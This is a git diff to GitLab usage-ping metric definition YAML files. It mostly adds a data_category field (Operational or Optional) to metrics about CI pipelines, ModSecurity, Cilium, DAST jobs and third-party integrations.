diff --git a/config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml b/config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml
index b8f5b8e8371..1440f02342c 100644
--- a/config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml
+++ b/config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.ingress_modsecurity_packets_anomalous
description: Cumulative count of packets identified as anomalous by ModSecurity since
Usage Ping was last reported
diff --git a/config/metrics/counts_all/20210216175446_network_policy_forwards.yml b/config/metrics/counts_all/20210216175446_network_policy_forwards.yml
index 36605f8cd92..c6a96626c70 100644
--- a/config/metrics/counts_all/20210216175446_network_policy_forwards.yml
+++ b/config/metrics/counts_all/20210216175446_network_policy_forwards.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.network_policy_forwards
description: Cumulative count of packets forwarded by Cilium (Container Network Security)
since Usage Ping was last reported
diff --git a/config/metrics/counts_all/20210216175448_network_policy_drops.yml b/config/metrics/counts_all/20210216175448_network_policy_drops.yml
index d254fedced4..d7a53aca969 100644
--- a/config/metrics/counts_all/20210216175448_network_policy_drops.yml
+++ b/config/metrics/counts_all/20210216175448_network_policy_drops.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.network_policy_drops
description: Cumulative count of packets dropped by Cilium (Container Network Security)
since Usage Ping was last reported
diff --git a/config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml b/config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml
index 0ab1020eadf..c4dc9186523 100644
--- a/config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml
+++ b/config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.ingress_modsecurity_logging
description: Whether or not ModSecurity is set to logging mode
product_section: sec
diff --git a/config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml b/config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml
index ecff0942267..c2fc55031de 100644
--- a/config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml
+++ b/config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.ingress_modsecurity_blocking
description: Whether or not ModSecurity is set to blocking mode
product_section: sec
diff --git a/config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml b/config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml
index 230a4b45f7e..2f1cb1aa55f 100644
--- a/config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml
+++ b/config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.ingress_modsecurity_disabled
description: Whether or not ModSecurity is disabled within Ingress
product_section: sec
diff --git a/config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml b/config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml
index 19539659357..3331525f4b9 100644
--- a/config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml
+++ b/config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.ingress_modsecurity_not_installed
description: Whether or not ModSecurity has not been installed into the cluster
product_section: sec
diff --git a/config/metrics/counts_all/20210216175510_ci_builds.yml b/config/metrics/counts_all/20210216175510_ci_builds.yml
index 29aaaaa3e02..692b7aaead6 100644
--- a/config/metrics/counts_all/20210216175510_ci_builds.yml
+++ b/config/metrics/counts_all/20210216175510_ci_builds.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.ci_builds
description: Unique builds in project
product_section: ops
diff --git a/config/metrics/counts_all/20210216175512_ci_internal_pipelines.yml b/config/metrics/counts_all/20210216175512_ci_internal_pipelines.yml
index c6195245083..333cdb695f3 100644
--- a/config/metrics/counts_all/20210216175512_ci_internal_pipelines.yml
+++ b/config/metrics/counts_all/20210216175512_ci_internal_pipelines.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.ci_internal_pipelines
description: Total pipelines in GitLab repositories
product_section: ops
diff --git a/config/metrics/counts_all/20210216175514_ci_external_pipelines.yml b/config/metrics/counts_all/20210216175514_ci_external_pipelines.yml
index dde3fe3b962..25421f724d6 100644
--- a/config/metrics/counts_all/20210216175514_ci_external_pipelines.yml
+++ b/config/metrics/counts_all/20210216175514_ci_external_pipelines.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.ci_external_pipelines
description: Total pipelines in external repositories
product_section: ops
diff --git a/config/metrics/counts_all/20210216175516_ci_pipeline_config_auto_devops.yml b/config/metrics/counts_all/20210216175516_ci_pipeline_config_auto_devops.yml
index 39fa444351f..ccf24beccc0 100644
--- a/config/metrics/counts_all/20210216175516_ci_pipeline_config_auto_devops.yml
+++ b/config/metrics/counts_all/20210216175516_ci_pipeline_config_auto_devops.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.ci_pipeline_config_auto_devops
description: Total pipelines from an Auto DevOps template
product_section: ops
diff --git a/config/metrics/counts_all/20210216175518_ci_pipeline_config_repository.yml b/config/metrics/counts_all/20210216175518_ci_pipeline_config_repository.yml
index 003cf90d75a..d00e0f0777c 100644
--- a/config/metrics/counts_all/20210216175518_ci_pipeline_config_repository.yml
+++ b/config/metrics/counts_all/20210216175518_ci_pipeline_config_repository.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.ci_pipeline_config_repository
description: Total Pipelines from templates in repository
product_section: ops
diff --git a/config/metrics/counts_all/20210216175520_ci_runners.yml b/config/metrics/counts_all/20210216175520_ci_runners.yml
index 7264940d5a4..d13a77aecc0 100644
--- a/config/metrics/counts_all/20210216175520_ci_runners.yml
+++ b/config/metrics/counts_all/20210216175520_ci_runners.yml
@@ -1,6 +1,7 @@
---
+data_category: Optional
key_path: counts.ci_runners
-description: Total configured Runners in project
+description: Total configured Runners of all types
product_section: ops
product_stage: verify
product_group: group::pipeline execution
diff --git a/config/metrics/counts_all/20210216175521_ci_triggers.yml b/config/metrics/counts_all/20210216175521_ci_triggers.yml
index 409794377cd..024f004389e 100644
--- a/config/metrics/counts_all/20210216175521_ci_triggers.yml
+++ b/config/metrics/counts_all/20210216175521_ci_triggers.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.ci_triggers
description: Total configured Triggers in project
product_section: ops
diff --git a/config/metrics/counts_all/20210216175523_ci_pipeline_schedules.yml b/config/metrics/counts_all/20210216175523_ci_pipeline_schedules.yml
index 57237d36c0d..923fc5426ef 100644
--- a/config/metrics/counts_all/20210216175523_ci_pipeline_schedules.yml
+++ b/config/metrics/counts_all/20210216175523_ci_pipeline_schedules.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.ci_pipeline_schedules
description: Pipeline schedules in GitLab
product_section: ops
diff --git a/config/metrics/counts_all/20210216175525_ci_builds.yml b/config/metrics/counts_all/20210216175525_ci_builds.yml
index 702c08ae286..08ca3cd8016 100644
--- a/config/metrics/counts_all/20210216175525_ci_builds.yml
+++ b/config/metrics/counts_all/20210216175525_ci_builds.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.verify.ci_builds
description: Unique count of builds in project
product_section: ops
diff --git a/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml b/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml
index 53bbb30717d..1ad849f6a28 100644
--- a/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml
+++ b/config/metrics/counts_all/20210216175527_ci_external_pipelines.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.verify.ci_external_pipelines
description: Total pipelines in external repositories
product_section: ops
diff --git a/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml b/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml
index e888c9a6fd2..85368582dd9 100644
--- a/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml
+++ b/config/metrics/counts_all/20210216175529_ci_internal_pipelines.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.verify.ci_internal_pipelines
description: Total pipelines in GitLab repositories
product_section: ops
diff --git a/config/metrics/counts_all/20210216175531_ci_pipeline_config_auto_devops.yml b/config/metrics/counts_all/20210216175531_ci_pipeline_config_auto_devops.yml
index af5ecbf5a63..381c16ff446 100644
--- a/config/metrics/counts_all/20210216175531_ci_pipeline_config_auto_devops.yml
+++ b/config/metrics/counts_all/20210216175531_ci_pipeline_config_auto_devops.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.verify.ci_pipeline_config_auto_devops
description: Total pipelines from an Auto DevOps template
product_section: ops
diff --git a/config/metrics/counts_all/20210216175533_ci_pipeline_config_repository.yml b/config/metrics/counts_all/20210216175533_ci_pipeline_config_repository.yml
index 1dcc5e885c7..2e54d756869 100644
--- a/config/metrics/counts_all/20210216175533_ci_pipeline_config_repository.yml
+++ b/config/metrics/counts_all/20210216175533_ci_pipeline_config_repository.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.verify.ci_pipeline_config_repository
description: Total Pipelines from templates in repository
product_section: ops
diff --git a/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml b/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml
index 7ee753f6d32..b1585df984e 100644
--- a/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml
+++ b/config/metrics/counts_all/20210216175535_ci_pipeline_schedules.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.verify.ci_pipeline_schedules
description: Pipeline schedules in GitLab
product_section: ops
diff --git a/config/metrics/counts_all/20210216175537_ci_pipelines.yml b/config/metrics/counts_all/20210216175537_ci_pipelines.yml
index a3bcc7eafbe..1815adef5ba 100644
--- a/config/metrics/counts_all/20210216175537_ci_pipelines.yml
+++ b/config/metrics/counts_all/20210216175537_ci_pipelines.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.verify.ci_pipelines
description: Distinct Users triggering Total pipelines
product_section: ops
diff --git a/config/metrics/counts_all/20210216175539_ci_triggers.yml b/config/metrics/counts_all/20210216175539_ci_triggers.yml
index 5b533f1e726..9ef3dfa56b4 100644
--- a/config/metrics/counts_all/20210216175539_ci_triggers.yml
+++ b/config/metrics/counts_all/20210216175539_ci_triggers.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.verify.ci_triggers
description: Total configured Triggers in project
product_section: ops
diff --git a/config/metrics/counts_all/20210216175612_dast_jobs.yml b/config/metrics/counts_all/20210216175612_dast_jobs.yml
index 8672e18dbfa..d0156f1f3c8 100644
--- a/config/metrics/counts_all/20210216175612_dast_jobs.yml
+++ b/config/metrics/counts_all/20210216175612_dast_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.dast_jobs
description: Count of DAST jobs run
product_section: sec
diff --git a/config/metrics/counts_all/20210216175614_user_dast_jobs.yml b/config/metrics/counts_all/20210216175614_user_dast_jobs.yml
index 900cd5b37b7..2670cb4b8fe 100644
--- a/config/metrics/counts_all/20210216175614_user_dast_jobs.yml
+++ b/config/metrics/counts_all/20210216175614_user_dast_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage.secure.user_dast_jobs
description: Count of DAST jobs
product_section: sec
diff --git a/config/metrics/counts_all/20210216175621_web_hooks.yml b/config/metrics/counts_all/20210216175621_web_hooks.yml
index ad7d9de8f12..b829a859290 100644
--- a/config/metrics/counts_all/20210216175621_web_hooks.yml
+++ b/config/metrics/counts_all/20210216175621_web_hooks.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.web_hooks
description:
product_section: dev
diff --git a/config/metrics/counts_all/20210216175623_projects_asana_active.yml b/config/metrics/counts_all/20210216175623_projects_asana_active.yml
index efb8771ee35..75b17cf2694 100644
--- a/config/metrics/counts_all/20210216175623_projects_asana_active.yml
+++ b/config/metrics/counts_all/20210216175623_projects_asana_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_asana_active
description: Count of projects with active integrations for Asana
product_section: dev
diff --git a/config/metrics/counts_all/20210216175625_groups_asana_active.yml b/config/metrics/counts_all/20210216175625_groups_asana_active.yml
index 574dcd21ba5..04a4c42ac42 100644
--- a/config/metrics/counts_all/20210216175625_groups_asana_active.yml
+++ b/config/metrics/counts_all/20210216175625_groups_asana_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_asana_active
description: Count of groups with active integrations for Asana
product_section: dev
diff --git a/config/metrics/counts_all/20210216175627_templates_asana_active.yml b/config/metrics/counts_all/20210216175627_templates_asana_active.yml
index f66dc3d3d18..280bd2a65ce 100644
--- a/config/metrics/counts_all/20210216175627_templates_asana_active.yml
+++ b/config/metrics/counts_all/20210216175627_templates_asana_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_asana_active
description: Count of active service templates for Asana
product_section: dev
diff --git a/config/metrics/counts_all/20210216175628_instances_asana_active.yml b/config/metrics/counts_all/20210216175628_instances_asana_active.yml
index b88ebad2b62..ddc4ebd81e0 100644
--- a/config/metrics/counts_all/20210216175628_instances_asana_active.yml
+++ b/config/metrics/counts_all/20210216175628_instances_asana_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_asana_active
description: Count of active instance-level integrations for Asana
product_section: dev
diff --git a/config/metrics/counts_all/20210216175630_projects_inheriting_asana_active.yml b/config/metrics/counts_all/20210216175630_projects_inheriting_asana_active.yml
index 8288135e4a6..7c81aece025 100644
--- a/config/metrics/counts_all/20210216175630_projects_inheriting_asana_active.yml
+++ b/config/metrics/counts_all/20210216175630_projects_inheriting_asana_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_asana_active
description: Count of active projects inheriting integrations for Asana
product_section: dev
diff --git a/config/metrics/counts_all/20210216175632_groups_inheriting_asana_active.yml b/config/metrics/counts_all/20210216175632_groups_inheriting_asana_active.yml
index bef134521f9..059d530bf9a 100644
--- a/config/metrics/counts_all/20210216175632_groups_inheriting_asana_active.yml
+++ b/config/metrics/counts_all/20210216175632_groups_inheriting_asana_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_asana_active
description: Count of active groups inheriting integrations for Asana
product_section: dev
diff --git a/config/metrics/counts_all/20210216175634_projects_assembla_active.yml b/config/metrics/counts_all/20210216175634_projects_assembla_active.yml
index 802410374c1..d4a18e98a79 100644
--- a/config/metrics/counts_all/20210216175634_projects_assembla_active.yml
+++ b/config/metrics/counts_all/20210216175634_projects_assembla_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_assembla_active
description: Count of projects with active integrations for Assembla
product_section: dev
diff --git a/config/metrics/counts_all/20210216175636_groups_assembla_active.yml b/config/metrics/counts_all/20210216175636_groups_assembla_active.yml
index f1dd8937289..fbca5a637b4 100644
--- a/config/metrics/counts_all/20210216175636_groups_assembla_active.yml
+++ b/config/metrics/counts_all/20210216175636_groups_assembla_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_assembla_active
description: Count of groups with active integrations for Assembla
product_section: dev
diff --git a/config/metrics/counts_all/20210216175638_templates_assembla_active.yml b/config/metrics/counts_all/20210216175638_templates_assembla_active.yml
index 48ac16aaf82..d8c37f77664 100644
--- a/config/metrics/counts_all/20210216175638_templates_assembla_active.yml
+++ b/config/metrics/counts_all/20210216175638_templates_assembla_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_assembla_active
description: Count of active service templates for Assembla
product_section: dev
diff --git a/config/metrics/counts_all/20210216175640_instances_assembla_active.yml b/config/metrics/counts_all/20210216175640_instances_assembla_active.yml
index 4f625b68679..d1af8c2820f 100644
--- a/config/metrics/counts_all/20210216175640_instances_assembla_active.yml
+++ b/config/metrics/counts_all/20210216175640_instances_assembla_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_assembla_active
description: Count of active instance-level integrations for Assembla
product_section: dev
diff --git a/config/metrics/counts_all/20210216175642_projects_inheriting_assembla_active.yml b/config/metrics/counts_all/20210216175642_projects_inheriting_assembla_active.yml
index 15a55d66d5d..1e8ce793e0a 100644
--- a/config/metrics/counts_all/20210216175642_projects_inheriting_assembla_active.yml
+++ b/config/metrics/counts_all/20210216175642_projects_inheriting_assembla_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_assembla_active
description: Count of active projects inheriting integrations for Assembla
product_section: dev
diff --git a/config/metrics/counts_all/20210216175644_groups_inheriting_assembla_active.yml b/config/metrics/counts_all/20210216175644_groups_inheriting_assembla_active.yml
index e39ef4e175d..91654462c1a 100644
--- a/config/metrics/counts_all/20210216175644_groups_inheriting_assembla_active.yml
+++ b/config/metrics/counts_all/20210216175644_groups_inheriting_assembla_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_assembla_active
description: Count of active groups inheriting integrations for Assembla
product_section: dev
diff --git a/config/metrics/counts_all/20210216175645_projects_bamboo_active.yml b/config/metrics/counts_all/20210216175645_projects_bamboo_active.yml
index 45094301a0c..cc9f74c7415 100644
--- a/config/metrics/counts_all/20210216175645_projects_bamboo_active.yml
+++ b/config/metrics/counts_all/20210216175645_projects_bamboo_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.projects_bamboo_active
description: Count of projects with active integrations for Bamboo CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216175647_groups_bamboo_active.yml b/config/metrics/counts_all/20210216175647_groups_bamboo_active.yml
index ab3e27f0521..12cdc11d195 100644
--- a/config/metrics/counts_all/20210216175647_groups_bamboo_active.yml
+++ b/config/metrics/counts_all/20210216175647_groups_bamboo_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_bamboo_active
description: Count of groups with active integrations for Bamboo CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216175649_templates_bamboo_active.yml b/config/metrics/counts_all/20210216175649_templates_bamboo_active.yml
index f09b32f4efd..da8243e1dd6 100644
--- a/config/metrics/counts_all/20210216175649_templates_bamboo_active.yml
+++ b/config/metrics/counts_all/20210216175649_templates_bamboo_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_bamboo_active
description: Count of active service templates for Bamboo CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216175651_instances_bamboo_active.yml b/config/metrics/counts_all/20210216175651_instances_bamboo_active.yml
index 98faf222d71..3e5bc70a99e 100644
--- a/config/metrics/counts_all/20210216175651_instances_bamboo_active.yml
+++ b/config/metrics/counts_all/20210216175651_instances_bamboo_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_bamboo_active
description: Count of active instance-level integrations for Bamboo CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216175653_projects_inheriting_bamboo_active.yml b/config/metrics/counts_all/20210216175653_projects_inheriting_bamboo_active.yml
index 2e18cde5cd4..50546cbf76b 100644
--- a/config/metrics/counts_all/20210216175653_projects_inheriting_bamboo_active.yml
+++ b/config/metrics/counts_all/20210216175653_projects_inheriting_bamboo_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_bamboo_active
description: Count of active projects inheriting integrations for Bamboo CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216175655_groups_inheriting_bamboo_active.yml b/config/metrics/counts_all/20210216175655_groups_inheriting_bamboo_active.yml
index 83c793f9992..32635663d68 100644
--- a/config/metrics/counts_all/20210216175655_groups_inheriting_bamboo_active.yml
+++ b/config/metrics/counts_all/20210216175655_groups_inheriting_bamboo_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_bamboo_active
description: Count of active groups inheriting integrations for Bamboo CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216175657_projects_bugzilla_active.yml b/config/metrics/counts_all/20210216175657_projects_bugzilla_active.yml
index 917d26db38c..a8541fc21f0 100644
--- a/config/metrics/counts_all/20210216175657_projects_bugzilla_active.yml
+++ b/config/metrics/counts_all/20210216175657_projects_bugzilla_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_bugzilla_active
description: Count of projects with active integrations for Bugzilla
product_section: dev
diff --git a/config/metrics/counts_all/20210216175659_groups_bugzilla_active.yml b/config/metrics/counts_all/20210216175659_groups_bugzilla_active.yml
index adfac50edb8..3816cc2a245 100644
--- a/config/metrics/counts_all/20210216175659_groups_bugzilla_active.yml
+++ b/config/metrics/counts_all/20210216175659_groups_bugzilla_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_bugzilla_active
description: Count of groups with active integrations for Bugzilla
product_section: dev
diff --git a/config/metrics/counts_all/20210216175701_templates_bugzilla_active.yml b/config/metrics/counts_all/20210216175701_templates_bugzilla_active.yml
index f93bab2acb5..5bdf964f80c 100644
--- a/config/metrics/counts_all/20210216175701_templates_bugzilla_active.yml
+++ b/config/metrics/counts_all/20210216175701_templates_bugzilla_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_bugzilla_active
description: Count of active service templates for Bugzilla
product_section: dev
diff --git a/config/metrics/counts_all/20210216175702_instances_bugzilla_active.yml b/config/metrics/counts_all/20210216175702_instances_bugzilla_active.yml
index 732eda5f97e..ec008d0f91c 100644
--- a/config/metrics/counts_all/20210216175702_instances_bugzilla_active.yml
+++ b/config/metrics/counts_all/20210216175702_instances_bugzilla_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_bugzilla_active
description: Count of active instance-level integrations for Bugzilla
product_section: dev
diff --git a/config/metrics/counts_all/20210216175704_projects_inheriting_bugzilla_active.yml b/config/metrics/counts_all/20210216175704_projects_inheriting_bugzilla_active.yml
index 6098f982786..63bc30268f3 100644
--- a/config/metrics/counts_all/20210216175704_projects_inheriting_bugzilla_active.yml
+++ b/config/metrics/counts_all/20210216175704_projects_inheriting_bugzilla_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_bugzilla_active
description: Count of active projects inheriting integrations for Bugzilla
product_section: dev
diff --git a/config/metrics/counts_all/20210216175706_groups_inheriting_bugzilla_active.yml b/config/metrics/counts_all/20210216175706_groups_inheriting_bugzilla_active.yml
index 261a73b5009..1521204b5dc 100644
--- a/config/metrics/counts_all/20210216175706_groups_inheriting_bugzilla_active.yml
+++ b/config/metrics/counts_all/20210216175706_groups_inheriting_bugzilla_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_bugzilla_active
description: Count of active groups inheriting integrations for Bugzilla
product_section: dev
diff --git a/config/metrics/counts_all/20210216175708_projects_buildkite_active.yml b/config/metrics/counts_all/20210216175708_projects_buildkite_active.yml
index 3ebdf5cb7e8..40f061c242d 100644
--- a/config/metrics/counts_all/20210216175708_projects_buildkite_active.yml
+++ b/config/metrics/counts_all/20210216175708_projects_buildkite_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_buildkite_active
description: Count of projects with active integrations for Buildkite
product_section: dev
diff --git a/config/metrics/counts_all/20210216175710_groups_buildkite_active.yml b/config/metrics/counts_all/20210216175710_groups_buildkite_active.yml
index 6dc86fc2e78..c82114a75db 100644
--- a/config/metrics/counts_all/20210216175710_groups_buildkite_active.yml
+++ b/config/metrics/counts_all/20210216175710_groups_buildkite_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_buildkite_active
description: Count of groups with active integrations for Buildkite
product_section: dev
diff --git a/config/metrics/counts_all/20210216175712_templates_buildkite_active.yml b/config/metrics/counts_all/20210216175712_templates_buildkite_active.yml
index 7a4caddc9fa..9270e03557d 100644
--- a/config/metrics/counts_all/20210216175712_templates_buildkite_active.yml
+++ b/config/metrics/counts_all/20210216175712_templates_buildkite_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_buildkite_active
description: Count of active service templates for Buildkite
product_section: dev
diff --git a/config/metrics/counts_all/20210216175714_instances_buildkite_active.yml b/config/metrics/counts_all/20210216175714_instances_buildkite_active.yml
index 91ca8b112a1..e503d9042b6 100644
--- a/config/metrics/counts_all/20210216175714_instances_buildkite_active.yml
+++ b/config/metrics/counts_all/20210216175714_instances_buildkite_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_buildkite_active
description: Count of active instance-level integrations for Buildkite
product_section: dev
diff --git a/config/metrics/counts_all/20210216175716_projects_inheriting_buildkite_active.yml b/config/metrics/counts_all/20210216175716_projects_inheriting_buildkite_active.yml
index 9b032b2ccdb..85e23182bf2 100644
--- a/config/metrics/counts_all/20210216175716_projects_inheriting_buildkite_active.yml
+++ b/config/metrics/counts_all/20210216175716_projects_inheriting_buildkite_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_buildkite_active
description: Count of active projects inheriting integrations for Buildkite
product_section: dev
diff --git a/config/metrics/counts_all/20210216175717_groups_inheriting_buildkite_active.yml b/config/metrics/counts_all/20210216175717_groups_inheriting_buildkite_active.yml
index dbd3ca666cb..327747aa559 100644
--- a/config/metrics/counts_all/20210216175717_groups_inheriting_buildkite_active.yml
+++ b/config/metrics/counts_all/20210216175717_groups_inheriting_buildkite_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_buildkite_active
description: Count of active groups inheriting integrations for Buildkite
product_section: dev
diff --git a/config/metrics/counts_all/20210216175719_projects_campfire_active.yml b/config/metrics/counts_all/20210216175719_projects_campfire_active.yml
index e6955d37aaf..f8e938349f9 100644
--- a/config/metrics/counts_all/20210216175719_projects_campfire_active.yml
+++ b/config/metrics/counts_all/20210216175719_projects_campfire_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_campfire_active
description: Count of projects with active integrations for Campfire
product_section: dev
diff --git a/config/metrics/counts_all/20210216175721_groups_campfire_active.yml b/config/metrics/counts_all/20210216175721_groups_campfire_active.yml
index 14ce92b9755..fb55d4d3d55 100644
--- a/config/metrics/counts_all/20210216175721_groups_campfire_active.yml
+++ b/config/metrics/counts_all/20210216175721_groups_campfire_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_campfire_active
description: Count of groups with active integrations for Campfire
product_section: dev
diff --git a/config/metrics/counts_all/20210216175723_templates_campfire_active.yml b/config/metrics/counts_all/20210216175723_templates_campfire_active.yml
index 72bb63ea683..4bbaf6e6554 100644
--- a/config/metrics/counts_all/20210216175723_templates_campfire_active.yml
+++ b/config/metrics/counts_all/20210216175723_templates_campfire_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_campfire_active
description: Count of active service templates for Campfire
product_section: dev
diff --git a/config/metrics/counts_all/20210216175725_instances_campfire_active.yml b/config/metrics/counts_all/20210216175725_instances_campfire_active.yml
index 7d3b91b253c..c6771e61376 100644
--- a/config/metrics/counts_all/20210216175725_instances_campfire_active.yml
+++ b/config/metrics/counts_all/20210216175725_instances_campfire_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_campfire_active
description: Count of active instance-level integrations for Campfire
product_section: dev
diff --git a/config/metrics/counts_all/20210216175727_projects_inheriting_campfire_active.yml b/config/metrics/counts_all/20210216175727_projects_inheriting_campfire_active.yml
index fc00c5bc800..778c0de4dc4 100644
--- a/config/metrics/counts_all/20210216175727_projects_inheriting_campfire_active.yml
+++ b/config/metrics/counts_all/20210216175727_projects_inheriting_campfire_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_campfire_active
description: Count of active projects inheriting integrations for Campfire
product_section: dev
diff --git a/config/metrics/counts_all/20210216175729_groups_inheriting_campfire_active.yml b/config/metrics/counts_all/20210216175729_groups_inheriting_campfire_active.yml
index 3d62a32e0f8..df30cd7ec1f 100644
--- a/config/metrics/counts_all/20210216175729_groups_inheriting_campfire_active.yml
+++ b/config/metrics/counts_all/20210216175729_groups_inheriting_campfire_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_campfire_active
description: Count of active groups inheriting integrations for Campfire
product_section: dev
diff --git a/config/metrics/counts_all/20210216175731_projects_confluence_active.yml b/config/metrics/counts_all/20210216175731_projects_confluence_active.yml
index 9c74e8ed761..0a4e7d99d88 100644
--- a/config/metrics/counts_all/20210216175731_projects_confluence_active.yml
+++ b/config/metrics/counts_all/20210216175731_projects_confluence_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_confluence_active
description: Count of projects with active integrations for Confluence
product_section: dev
diff --git a/config/metrics/counts_all/20210216175733_groups_confluence_active.yml b/config/metrics/counts_all/20210216175733_groups_confluence_active.yml
index de84d268e6e..87d0c93843e 100644
--- a/config/metrics/counts_all/20210216175733_groups_confluence_active.yml
+++ b/config/metrics/counts_all/20210216175733_groups_confluence_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_confluence_active
description: Count of groups with active integrations for Confluence
product_section: dev
